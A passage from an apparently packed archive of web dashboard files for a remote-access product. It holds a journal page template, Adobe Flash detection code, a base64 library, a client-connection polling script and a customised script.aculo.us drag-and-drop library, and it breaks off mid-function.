<input type="button" value="&MSG.JOURNAL.HIDE.SYSTEM&" onclick="window.location='$TEMPLATE$?journal=$REQ.JOURNAL$&system=0'">
<?else?>
<input type="button" value="&MSG.JOURNAL.SHOW.SYSTEM&" onclick="window.location='$TEMPLATE$?journal=$REQ.JOURNAL$&system=1'">
<?endif?>
</div>
</div>

<br><br>
<form action="&TEMPLATE&" onsubmit="return textCheck(this.newjournal, $MAXJOURNALSIZE$);">
<table  id="journallist" class="inner" width="90%" align=center>
<?if JOURNAL > 0?>
<thead>
<tr class="inner">
<th>&MSG.DASH.JOURNAL.USER&</th>
<th width="100%">&MSG.DASH.JOURNAL.NOTE&</th>
<th colspan="2">&MSG.DASH.JOURNAL.DATE&</th>
</tr>
</thead>
<?endif?>
<tbody>
<?if actions has "journalcreate" and PAGE.CURRENT < 2?>
<tr>
<td nowrap><?&USERNAME?></td>
<td colspan="2" style="padding: 0px;" width="100%">
<table width="100%" cellpadding="0" cellspacing="0"><tr>
<td width="100%" style="border: 0px;"><textarea id="newjournal" name="newjournal" rows="5" style="width: 100%; display: inline; font-family: Tahoma, Verdana, Arial; font-size: 8pt;"></textarea></td>
<td style="border: 0px;"><input type="submit" value="&MSG.DIALOG.ADD&"></td>
</tr></table>
</td>
</tr>
<?endif?>
<?if JOURNAL > 0?>
<?enum JOURNAL?>
<tr>
<td><?&JOURNAL.USER?></td>
<td <?if JOURNAL.SYSTEM?>style="font-style: italic;"<?endif?>>&JOURNAL.BODY&</td>
<td nowrap><?&JOURNAL.TIME _dtms?></td>
</tr>
<?next?>
<?else?>
<tr>
<td colspan="4" align="center">&MSG.DASH.JOURNAL.EMPTY&</td>
</tr>
<?endif?>
</tbody>
</table>
</form>
<table width="90%"><tr><td align="center">
<input type="button" value="&MSG.DIALOG.BACK&" onclick="window.location='dashboard.html';">
<br><br>
</td></tr></table>
</div>
</body>
</html>		
N6js\AC_OETags.jsz,~<?ratmpl?>
// Flash Player Version Detection - Rev 1.6
// Detect Client Browser type
// Copyright(c) 2005-2006 Adobe Macromedia Software, LLC. All rights reserved.
var isIE = <?if HTTP.USERAGENT.IE?>true<?else?>false<?endif?>;
var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;

function ControlVersion()
{
var version;
var axo;
var e;

// NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry

try {
// version will be set for 7.X or greater players
axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
version = axo.GetVariable("$version");
} catch (e) {
}

if (!version)
{
try {
// version will be set for 6.X players only
axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");

// installed player is some revision of 6.0
// GetVariable("$version") crashes for versions 6.0.22 through 6.0.29,
// so we have to be careful. 

// default to the first public version
version = "WIN 6,0,21,0";

// throws if AllowScripAccess does not exist (introduced in 6.0r47)		
axo.AllowScriptAccess = "always";

// safe to call for 6.0r47 or greater
version = axo.GetVariable("$version");

} catch (e) {
}
}

if (!version)
{
try {
// version will be set for 4.X or 5.X player
axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
version = axo.GetVariable("$version");
} catch (e) {
}
}

if (!version)
{
try {
// version will be set for 3.X player
axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
version = "WIN 3,0,18,0";
} catch (e) {
}
}

if (!version)
{
try {
// version will be set for 2.X player
axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
version = "WIN 2,0,0,11";
} catch (e) {
version = -1;
}
}

return version;
}

// JavaScript helper required to detect Flash Player PlugIn version information
function GetSwfVer(){
// NS/Opera version >= 3 check for Flash plugin in plugin array
var flashVer = -1;

if (navigator.plugins != null && navigator.plugins.length > 0) {
if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {
var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;
var descArray = flashDescription.split(" ");
var tempArrayMajor = descArray[2].split(".");			
var versionMajor = tempArrayMajor[0];
var versionMinor = tempArrayMajor[1];
var versionRevision = descArray[3];
if (versionRevision == "") {
versionRevision = descArray[4];
}
if (versionRevision[0] == "d") {
versionRevision = versionRevision.substring(1);
} else if (versionRevision[0] == "r") {
versionRevision = versionRevision.substring(1);
if (versionRevision.indexOf("d") > 0) {
versionRevision = versionRevision.substring(0, versionRevision.indexOf("d"));
}
}
var flashVer = versionMajor + "." + versionMinor + "." + versionRevision;
}
}
// MSN/WebTV 2.6 supports Flash 4
else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4;
// WebTV 2.5 supports Flash 3
else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3;
// older WebTV supports Flash 2
else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2;
else if ( isIE && isWin && !isOpera ) {
flashVer = ControlVersion();
}	
return flashVer;
}

// When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available
function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision)
{
versionStr = GetSwfVer();
if (versionStr == -1 ) {
return false;
} else if (versionStr != 0) {
if (versionStr.indexOf(",") != -1) {   // was (isIE && isWin && !isOpera) but better to check this way, f.e. ie11 uses the single version string format only
// Given "WIN 2,0,0,11"
tempArray         = versionStr.split(" "); 	// ["WIN", "2,0,0,11"]
tempString        = tempArray[1];			// "2,0,0,11"
versionArray      = tempString.split(",");	// ['2', '0', '0', '11']
} else {
versionArray      = versionStr.split(".");
}
var versionMajor      = versionArray[0];
var versionMinor      = versionArray[1];
var versionRevision   = versionArray[2];

// is the major.revision >= requested major.revision AND the minor version >= requested minor
if (versionMajor > parseFloat(reqMajorVer)) {
return true;
} else if (versionMajor == parseFloat(reqMajorVer)) {
if (versionMinor > parseFloat(reqMinorVer))
return true;
else if (versionMinor == parseFloat(reqMinorVer)) {
if (versionRevision >= parseFloat(reqRevision))
return true;
}
}
return false;
}
}

function AC_AddExtension(src, ext)
{
if (src.indexOf('?') != -1)
return src.replace(/\?/, ext+'?'); 
else
return src + ext;
}

function AC_Generateobj(objAttrs, params, embedAttrs) 
{ 
var str = '';
if (isIE && isWin && !isOpera)
{
str += '<object ';
for (var i in objAttrs)
str += i + '="' + objAttrs[i] + '" ';
str += '>';
for (var i in params)
str += '<param name="' + i + '" value="' + params[i] + '" /> ';
str += '</object>';
} else {
str += '<embed ';
for (var i in embedAttrs)
str += i + '="' + embedAttrs[i] + '" ';
str += '> </embed>';
}

document.write(str);
}

function AC_FL_RunContent(){
var ret = 
AC_GetArgs
(  arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
, "application/x-shockwave-flash"
);
AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}

function AC_GetArgs(args, ext, srcParamName, classid, mimeType){
var ret = new Object();
ret.embedAttrs = new Object();
ret.params = new Object();
ret.objAttrs = new Object();
for (var i=0; i < args.length; i=i+2){
var currArg = args[i].toLowerCase();    

switch (currArg){	
case "classid":
break;
case "pluginspage":
ret.embedAttrs[args[i]] = args[i+1];
break;
case "src":
case "movie":	
args[i+1] = AC_AddExtension(args[i+1], ext);
ret.embedAttrs["src"] = args[i+1];
ret.params[srcParamName] = args[i+1];
break;
case "onafterupdate":
case "onbeforeupdate":
case "onblur":
case "oncellchange":
case "onclick":
case "ondblClick":
case "ondrag":
case "ondragend":
case "ondragenter":
case "ondragleave":
case "ondragover":
case "ondrop":
case "onfinish":
case "onfocus":
case "onhelp":
case "onmousedown":
case "onmouseup":
case "onmouseover":
case "onmousemove":
case "onmouseout":
case "onkeypress":
case "onkeydown":
case "onkeyup":
case "onload":
case "onlosecapture":
case "onpropertychange":
case "onreadystatechange":
case "onrowsdelete":
case "onrowenter":
case "onrowexit":
case "onrowsinserted":
case "onstart":
case "onscroll":
case "onbeforeeditfocus":
case "onactivate":
case "onbeforedeactivate":
case "ondeactivate":
case "type":
case "codebase":
ret.objAttrs[args[i]] = args[i+1];
break;
case "id":
case "width":
case "height":
case "align":
case "vspace": 
case "hspace":
case "class":
case "title":
case "accesskey":
case "name":
case "tabindex":
ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
break;
default:
ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
}
}
ret.objAttrs["classid"] = classid;
if (mimeType) ret.embedAttrs["type"] = mimeType;
return ret;
}


5Gjjs\base64.jszz~/*
Copyright (c) 2008 Fred Palmer fred.palmer_at_gmail.com

Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:

The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
*/
function StringBuffer()
{ 
this.buffer = []; 
} 

StringBuffer.prototype.append = function append(string)
{ 
this.buffer.push(string); 
return this; 
}; 

StringBuffer.prototype.toString = function toString()
{ 
return this.buffer.join(""); 
}; 

var Base64 =
{
codex : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",

encode : function (input)
{
var output = new StringBuffer();

var enumerator = new Utf8EncodeEnumerator(input);
while (enumerator.moveNext())
{
var chr1 = enumerator.current;

enumerator.moveNext();
var chr2 = enumerator.current;

enumerator.moveNext();
var chr3 = enumerator.current;

var enc1 = chr1 >> 2;
var enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
var enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
var enc4 = chr3 & 63;

if (isNaN(chr2))
{
enc3 = enc4 = 64;
}
else if (isNaN(chr3))
{
enc4 = 64;
}

output.append(this.codex.charAt(enc1) + this.codex.charAt(enc2) + this.codex.charAt(enc3) + this.codex.charAt(enc4));
}

return output.toString();
},

decode : function (input)
{
var output = new StringBuffer();

var enumerator = new Base64DecodeEnumerator(input);
while (enumerator.moveNext())
{
var charCode = enumerator.current;

if (charCode < 128)
output.append(String.fromCharCode(charCode));
else if ((charCode > 191) && (charCode < 224))
{
enumerator.moveNext();
var charCode2 = enumerator.current;

output.append(String.fromCharCode(((charCode & 31) << 6) | (charCode2 & 63)));
}
else
{
enumerator.moveNext();
var charCode2 = enumerator.current;

enumerator.moveNext();
var charCode3 = enumerator.current;

output.append(String.fromCharCode(((charCode & 15) << 12) | ((charCode2 & 63) << 6) | (charCode3 & 63)));
}
}

return output.toString();
}
}


function Utf8EncodeEnumerator(input)
{
this._input = input;
this._index = -1;
this._buffer = [];
}

Utf8EncodeEnumerator.prototype =
{
current: Number.NaN,

moveNext: function()
{
if (this._buffer.length > 0)
{
this.current = this._buffer.shift();
return true;
}
else if (this._index >= (this._input.length - 1))
{
this.current = Number.NaN;
return false;
}
else
{
var charCode = this._input.charCodeAt(++this._index);

// "\r\n" -> "\n"
//
if ((charCode == 13) && (this._input.charCodeAt(this._index + 1) == 10))
{
charCode = 10;
this._index += 2;
}

if (charCode < 128)
{
this.current = charCode;
}
else if ((charCode > 127) && (charCode < 2048))
{
this.current = (charCode >> 6) | 192;
this._buffer.push((charCode & 63) | 128);
}
else
{
this.current = (charCode >> 12) | 224;
this._buffer.push(((charCode >> 6) & 63) | 128);
this._buffer.push((charCode & 63) | 128);
}

return true;
}
}
}

function Base64DecodeEnumerator(input)
{
this._input = input;
this._index = -1;
this._buffer = [];
}

Base64DecodeEnumerator.prototype =
{
current: 64,

moveNext: function()
{
if (this._buffer.length > 0)
{
this.current = this._buffer.shift();
return true;
}
else if (this._index >= (this._input.length - 1))
{
this.current = 64;
return false;
}
else
{
var enc1 = Base64.codex.indexOf(this._input.charAt(++this._index));
var enc2 = Base64.codex.indexOf(this._input.charAt(++this._index));
var enc3 = Base64.codex.indexOf(this._input.charAt(++this._index));
var enc4 = Base64.codex.indexOf(this._input.charAt(++this._index));

var chr1 = (enc1 << 2) | (enc2 >> 4);
var chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
var chr3 = ((enc3 & 3) << 6) | enc4;

this.current = chr1;

if (enc3 != 64)
this._buffer.push(chr2);

if (enc4 != 64)
this._buffer.push(chr3);

return true;
}
}
};
~ɂ js\borgtimers.js4
~<?ratmpl?>
<?nocache?>

var gCustomURI = "";
var gAnchorID = "__lmiCustomUrlLink";

function SimulateClick(buttonId) {
var a = document.getElementById(buttonId);
if (a == null || typeof a == "undefined") return;
a.href = gCustomURI;
if (document.getElementById(buttonId).dispatchEvent) {
var e = document.createEvent("MouseEvents");
e.initEvent("click", true, true);
document.getElementById(buttonId).dispatchEvent(e);
}
else {
document.getElementById(buttonId).click();
}
}

function PrepareAnchor() {
var f = document.getElementById(gAnchorID)
if (f) { f.parentNode.removeChild(f); }
var a = document.createElement('a');
a.href = gCustomURI;
a.innerHTML = "Link"
a.setAttribute('id', gAnchorID);
a.setAttribute("style", "display:none; ");
a.setAttribute("target", "_top");
document.body.appendChild(a);
SimulateClick(gAnchorID);
}

var kFIRSTTIME_LONG_TIMEOUT = 10000;
var kFIRSTTIME_SHORT_INTERVAL = 2000;
var kFIRSTTIME_SHORT_TIME = ((5 * 60 * 1000) / kFIRSTTIME_SHORT_INTERVAL) + 1;
var gConnectCheckCounter = 0;
var gConnectCheckTimeout = kFIRSTTIME_SHORT_INTERVAL;
var gCheckFirstTimeConnectionTimerStarted = false;

function GetBorgMessagesFrame() {
// can be overwritten with BorgMessagesFrame function
if (typeof (BorgMessagesFrame) === 'function') {
return BorgMessagesFrame();
}
return parent.frames['body'];
}

function RunBorgConnectedAction() {
if (typeof (BorgConnectedAction) === 'function') {
BorgConnectedAction();
}
}

function CheckFirstTimeConnection() {
gCheckFirstTimeConnectionTimerStarted = false;
ConnectionMonitorProxy.callConnectionCheck(StartCheckFirstTimeConnection, OnConnectCheckFailed);
++gConnectCheckCounter;
if (gConnectCheckCounter == 1 && (gConnectCheckTimeout == kFIRSTTIME_LONG_TIMEOUT)) {
gConnectCheckTimeout = kFIRSTTIME_SHORT_INTERVAL;
}
if (gConnectCheckCounter == kFIRSTTIME_SHORT_TIME) {
gConnectCheckTimeout = kFIRSTTIME_LONG_TIMEOUT;
}
}

function StartCheckFirstTimeConnection(data) {
if (gCheckFirstTimeConnectionTimerStarted) {
return;
}
IsBorgConnected = false;
if (data) {
IsBorgConnected = data.IsBorgConnected;
}
if (IsBorgConnected) {
LMIBrowserInfo.SetCookie(LMIBrowserInfo.kClientAppCookie, 1, 10 * 365);
var pFrame = GetBorgMessagesFrame();
if (pFrame) {
pFrame.HideAllMessageBoxes();
}
RunBorgConnectedAction();
return;
}
if (LMIBrowserInfo.GetCookie(LMIBrowserInfo.kClientAppCookie)) {
return;
}
gCheckFirstTimeConnectionTimerStarted = true;
setTimeout('CheckFirstTimeConnection()', gConnectCheckTimeout);
}

function CheckConnection(data) {
IsBorgConnected = false;
if (data) {
IsBorgConnected = data.IsBorgConnected;
}
if (IsBorgConnected) {
var pFrame = GetBorgMessagesFrame();
if (pFrame) 
pFrame.HideAllMessageBoxes();
RunBorgConnectedAction();
return;
}
gCheckFirstTimeConnectionTimerStarted = true;
setTimeout('StartCheckConnection()', gConnectCheckTimeout);
}

function StartCheckConnection() {
gCheckFirstTimeConnectionTimerStarted = false;
ConnectionMonitorProxy.callConnectionCheck(CheckConnection, OnConnectCheckFailed);
++gConnectCheckCounter;
if (gConnectCheckCounter == 1 && (gConnectCheckTimeout == kFIRSTTIME_LONG_TIMEOUT)) {
gConnectCheckTimeout = kFIRSTTIME_SHORT_INTERVAL;
}
if (gConnectCheckCounter == kFIRSTTIME_SHORT_TIME) {
gConnectCheckTimeout = kFIRSTTIME_LONG_TIMEOUT;
}
}
@js\dragdrop.jsE// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
// 
// Element.Class part Copyright (c) 2005 by Rick Olson
// 
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
// 
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
// 
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

// note: this file is customized to suit the LMI dashboard.

Element.Class = {
// Element.toggleClass(element, className) toggles the class being on/off
// Element.toggleClass(element, className1, className2) toggles between both classes,
//   defaulting to className1 if neither exist
toggle: function(element, className) {
if(Element.Class.has(element, className)) {
Element.Class.remove(element, className);
if(arguments.length == 3) Element.Class.add(element, arguments[2]);
} else {
Element.Class.add(element, className);
if(arguments.length == 3) Element.Class.remove(element, arguments[2]);
}
},

// gets space-delimited classnames of an element as an array
get: function(element) {
element = $(element);
return element.className.split(' ');
},

// functions adapted from original functions by Gavin Kistner
remove: function(element) {
element = $(element);
var regEx;
for(var i = 1; i < arguments.length; i++) {
regEx = new RegExp("^" + arguments[i] + "\\b\\s*|\\s*\\b" + arguments[i] + "\\b", 'g');
element.className = element.className.replace(regEx, '')
}
},

add: function(element) {
element = $(element);
for(var i = 1; i < arguments.length; i++) {
Element.Class.remove(element, arguments[i]);
element.className += (element.className.length > 0 ? ' ' : '') + arguments[i];
}
},

// returns true if all given classes exist in said element
has: function(element) {
element = $(element);
if(!element || !element.className) return false;
var regEx;
for(var i = 1; i < arguments.length; i++) {
regEx = new RegExp("\\b" + arguments[i] + "\\b");
if(!regEx.test(element.className)) return false;
}
return true;
},

// expects arrays of strings and/or strings as optional paramters
// Element.Class.has_any(element, ['classA','classB','classC'], 'classD')
has_any: function(element) {
element = $(element);
if(!element || !element.className) return false;
var regEx;
for(var i = 1; i < arguments.length; i++) {
if((typeof arguments[i] == 'object') && 
(arguments[i].constructor == Array)) {
for(var j = 0; j < arguments[i].length; j++) {
regEx = new RegExp("\\b" + arguments[i][j] + "\\b");
if(regEx.test(element.className)) return true;
}
} else {
regEx = new RegExp("\\b" + arguments[i] + "\\b");
if(regEx.test(element.className)) return true;
}
}
return false;
},

childrenWith: function(element, className) {
var children = $(element).getElementsByTagName('*');
var elements = new Array();

for (var i = 0; i < children.length; i++) {
if (Element.Class.has(children[i], className)) {
elements.push(children[i]);
break;
}
}

return elements;
}
}

/*--------------------------------------------------------------------------*/

var Droppables = {
drops: false,

remove: function(element) {
for(var i = 0; i < this.drops.length; i++)
if(this.drops[i].element == element)
this.drops.splice(i,1);
},

add: function(element) {
var element = $(element);
var options = Object.extend({
greedy:     true,
hoverclass: null  
}, arguments[1] || {});

// cache containers
if(options.containment) {
options._containers = new Array();
var containment = options.containment;
if((typeof containment == 'object') && 
(containment.constructor == Array)) {
for(var i=0; i<containment.length; i++)
options._containers.push($(containment[i]));
} else {
options._containers.push($(containment));
}
options._containers_length = 
options._containers.length-1;
}

Element.makePositioned(element); // fix IE

options.element = element;

// activate the droppable    
if(!this.drops) this.drops = [];
this.drops.push(options);
},

is_contained: function(element, drop) {
var containers = drop._containers;
var parentNode = element.parentNode;
var i = drop._containers_length;
do { if(parentNode==containers[i]) return true; } while (i--);
return false;
},

is_affected: function(pX, pY, element, drop) {
return (
(drop.element!=element) &&
((!drop._containers) ||
this.is_contained(element, drop)) &&
((!drop.accept) ||
(Element.Class.has_any(element, drop.accept))) &&
Position.within(drop.element, pX, pY) );
},

deactivate: function(drop) {
Element.Class.remove(drop.element, drop.hoverclass);
this.last_active = null;
},

activate: function(drop) {
if(this.last_active) this.deactivate(this.last_active);
if(drop.hoverclass) {
Element.Class.add(drop.element, drop.hoverclass);
this.last_active = drop;
}
},

show: function(event, element) {
if(!this.drops) return;
var pX = Event.pointerX(event);
var pY = Event.pointerY(event);
Position.prepare();

var i = this.drops.length-1; do {
var drop = this.drops[i];
if(this.is_affected(pX, pY, element, drop)) {
if(drop.onHover)
drop.onHover(element, drop.element, Position.overlap(drop.overlap, drop.element));
if(drop.greedy) { 
this.activate(drop);
return;
}
}
} while (i--);
},

fire: function(event, element) {
if(!this.last_active) return;
Position.prepare();

if (this.is_affected(Event.pointerX(event), Event.pointerY(event), element, this.last_active))
if (this.last_active.onDrop) 
this.last_active.onDrop(element, this.last_active);

},

reset: function() {
if(this.last_active)
this.deactivate(this.last_active);
}
}

Draggables = {
observers: new Array(),
addObserver: function(observer) {
this.observers.push(observer);    
},
removeObserver: function(element) {  // element instead of obsever fixes mem leaks
for(var i = 0; i < this.observers.length; i++)
if(this.observers[i].element && (this.observers[i].element == element))
this.observers.splice(i,1);
},
notify: function(eventName, draggable) {  // 'onStart', 'onEnd'
for(var i = 0; i < this.observers.length; i++)
this.observers[i][eventName](draggable);
}
}

/*--------------------------------------------------------------------------*/

Draggable = Class.create();
Draggable.prototype = {
initialize: function(element) {
var options = Object.extend({
handle: false,
starteffect: function(element) { 
new Effect.Opacity(element, {duration:0.2, from:1.0, to:0.7}); 
},
reverteffect: function(element, top_offset, left_offset) {
new Effect.MoveBy(element, -top_offset, -left_offset, {duration:0.4});
},
endeffect: function(element) { 
new Effect.Opacity(element, {duration:0.2, from:0.7, to:1.0}); 
},
zindex: 1000,
revert: false
}, arguments[1] || {});

this.element      = $(element);
this.handle       = options.handle ? $(options.handle) : this.element;

Element.makePositioned(this.element); // fix IE

this.offsetX      = 0;
this.offsetY      = 0;
this.originalLeft = this.currentLeft();
this.originalTop  = this.currentTop();
this.originalX    = this.element.offsetLeft;
this.originalY    = this.element.offsetTop;
this.originalZ    = parseInt(this.element.style.zIndex || "0");

this.options      = options;

this.active       = false;
this.dragging     = false;   

this.eventMouseDown = this.startDrag.bindAsEventListener(this);
this.eventMouseUp   = this.endDrag.bindAsEventListener(this);
this.eventMouseMove = this.update.bindAsEventListener(this);
this.eventKeypress  = this.keyPress.bindAsEventListener(this);

Event.observe(this.handle, "mousedown", this.eventMouseDown);
Event.observe(document, "mouseup", this.eventMouseUp);
Event.observe(document, "mousemove", this.eventMouseMove);
Event.observe(document, "keypress", this.eventKeypress);
},
destroy: function() {
Event.stopObserving(this.handle, "mousedown", this.eventMouseDown);
Event.stopObserving(document, "mouseup", this.eventMouseUp);
Event.stopObserving(document, "mousemove", this.eventMouseMove);
Event.stopObserving(document, "keypress", this.eventKeypress);
},
currentLeft: function() {
return parseInt(this.element.style.left || '0');
},
currentTop: function() {
return parseInt(this.element.style.top || '0')
},
startDrag: function(event) {
if(Event.isLeftClick(event)) {
this.active = true;

var style = this.element.style;
this.originalY = this.element.offsetTop  - this.currentTop()  - this.originalTop;
this.originalX = this.element.offsetLeft - this.currentLeft() - this.originalLeft;
this.offsetY =  event.clientY - this.originalY - this.originalTop;
this.offsetX =  event.clientX - this.originalX - this.originalLeft;

Event.stop(event);
}
},
finishDrag: function(event, success) {
this.active = false;
this.dragging = false;

if(success) Droppables.fire(event, this.element);
Draggables.notify('onEnd', this);

var revert = this.options.revert;
if(revert && typeof revert == 'function') revert = revert(this.element);

if(revert && this.options.reverteffect) {
this.options.reverteffect(this.element, 
this.currentTop()-this.originalTop,
this.currentLeft()-this.originalLeft);
} else {
this.originalLeft = this.currentLeft();
this.originalTop  = this.currentTop();
}

this.element.style.zIndex = this.originalZ;

if(this.options.endeffect) 
this.options.endeffect(this.element);

Droppables.reset();
},
keyPress: function(event) {
if(this.active) {
if(event.keyCode==Event.KEY_ESC) {
this.finishDrag(event, false);
Event.stop(event);
}
}
},
endDrag: function(event) {
if(this.active && this.dragging) {
this.finishDrag(event, true);
Event.stop(event);
}
this.active = false;
this.dragging = false;
},
draw: function(event) {
var style = this.element.style;
this.originalX = this.element.offsetLeft - this.currentLeft() - this.originalLeft;
this.originalY = this.element.offsetTop  - this.currentTop()  - this.originalTop;
if((!this.options.constraint) || (this.options.constraint=='horizontal'))
style.left = ((event.clientX - this.originalX) - this.offsetX) + "px";
if((!this.options.constraint) || (this.options.constraint=='vertical'))
style.top  = ((event.clientY - this.originalY) - this.offsetY) + "px";
if(style.visibility=="hidden") style.visibility = ""; // fix gecko rendering
},
update: function(event) {
if(this.active) {
if(!this.dragging) {
var style = this.element.style;
this.dragging = true;
if(style.position=="") style.position = "relative";
style.zIndex = this.options.zindex;
Draggables.notify('onStart', this);
if(this.options.starteffect) this.options.starteffect(this.element);
}

Droppables.show(event, this.element);
this.draw(event);
if(this.options.change) this.options.change(this);

// fix AppleWebKit rendering
if(navigator.appVersion.indexOf('AppleWebKit')>0) window.scrollBy(0,0); 

Event.stop(event);
}
}
}

/*--------------------------------------------------------------------------*/

SortableObserver = Class.create();
SortableObserver.prototype = {
initialize: function(element, observer) {
this.element   = $(element);
this.observer  = observer;
this.lastValue = Sortable.serialize(this.element);
},
onStart: function() {
this.lastValue = Sortable.serialize(this.element);
},
onEnd: function() {    
if(this.lastValue != Sortable.serialize(this.element))
this.observer(this.element)
}
}

Sortable = {
sortables: new Array(),
options: function(element){
var element = $(element);
for(var i=0;i<this.sortables.length;i++)
if(this.sortables[i].element == element)
return this.sortables[i];
return null;        
},
//LMI-related customization, new function:
//(we call this whenever we need to re-initialize the drag&drop support to
// avoid memory leaks)
destroyAll: function() {
for(var i=0;i<this.sortables.length;i++) {
var s = this.sortables[i];
Draggables.removeObserver(s.element);
for(var j=0;j<s.droppables.length;j++)
Droppables.remove(s.droppables[j]);
for(var j=0;j<s.draggables.length;j++)
s.draggables[j].destroy();
this.sortables.splice(i,1);
}
},
destroy: function(element){
var element = $(element);
for(var i=0;i<this.sortables.length;i++) {
if(this.sortables[i].element == element) {
var s = this.sortables[i];
Draggables.removeObserver(s.element);
for(var j=0;j<s.droppables.length;j++)
Droppables.remove(s.droppables[j]);
for(var j=0;j<s.draggables.length;j++)
s.draggables[j].destroy();
this.sortables.splice(i,1);
}
}
},
create: function(element) {
var element = $(element);
var options = Object.extend({ 
element:     element,
tag:         'li',       // assumes li children, override with tag: 'tagname'
overlap:     'vertical', // one of 'vertical', 'horizontal'
constraint:  'vertical', // one of 'vertical', 'horizontal', false
containment: element,    // also takes array of elements (or id's); or false
handle:      false,      // or a CSS class
only:        false,
hoverclass:  null,
onChange:    function() {},
onUpdate:    function() {}
}, arguments[1] || {});

// clear any old sortable with same element
this.destroy(element);

// build options for the draggables
var options_for_draggable = {
revert:      true,
constraint:  options.constraint,
handle:      handle };
if(options.starteffect)
options_for_draggable.starteffect = options.starteffect;
if(options.reverteffect)
options_for_draggable.reverteffect = options.reverteffect;
if(options.endeffect)
options_for_draggable.endeffect = options.endeffect;
if(options.zindex)
options_for_draggable.zindex = options.zindex;

// build options for the droppables  
var options_for_droppable = {
overlap:     options.overlap,
containment: options.containment,
hoverclass:  options.hoverclass,
onHover: function(element, dropon, overlap) {
//LMI-related customization, was:
//if(overlap>0.5) {
if(overlap>0.5 || dropon.id.indexOf('end') != -1) {
if(dropon.previousSibling != element) {
var oldParentNode = element.parentNode;
element.style.visibility = "hidden"; // fix gecko rendering
dropon.parentNode.insertBefore(element, dropon);
if(dropon.parentNode!=oldParentNode && oldParentNode.sortable) 
oldParentNode.sortable.onChange(element);
if(dropon.parentNode.sortable)
dropon.parentNode.sortable.onChange(element);
}
} else {                
var nextElement = dropon.nextSibling || null;
if(nextElement != element) {
var oldParentNode = element.parentNode;
element.style.visibility = "hidden"; // fix gecko rendering
dropon.parentNode.insertBefore(element, nextElement);
if(dropon.parentNode!=oldParentNode && oldParentNode.sortable) 
oldParentNode.sortable.onChange(element);
if(dropon.parentNode.sortable)
dropon.parentNode.sortable.onChange(element);
}
}
}
}

// fix for gecko engine
Element.cleanWhitespace(element); 

options.draggables = [];
options.droppables = [];

// make it so 
var elements = element.childNodes;
for (var i = 0; i < elements.length; i++) 
if(elements[i].tagName && elements[i].tagName==options.tag.toUpperCase() &&
(!options.only || (Element.Class.has(elements[i], options.only)))) {

// handles are per-draggable
var handle = options.handle ? 
Element.Class.childrenWith(elements[i], options.handle)[0] : elements[i];

options.draggables.push(new Draggable(elements[i], Object.extend(options_for_draggable, { handle: handle })));

Droppables.add(elements[i], options_for_droppable);
options.droppables.push(elements[i]);

}

// keep reference
this.sortables.push(options);

// for onupdate
Draggables.addObserver(new SortableObserver(element, options.onUpdate));

},
serialize: function(element) {
var element = $(element);
var sortableOptions = this.options(element);
var options = Object.extend({
tag:  sortableOptions.tag,
only: sortableOptions.only,
name: element.id
}, arguments[1] || {});

var items = $(element).childNodes;
var queryComponents = new Array();

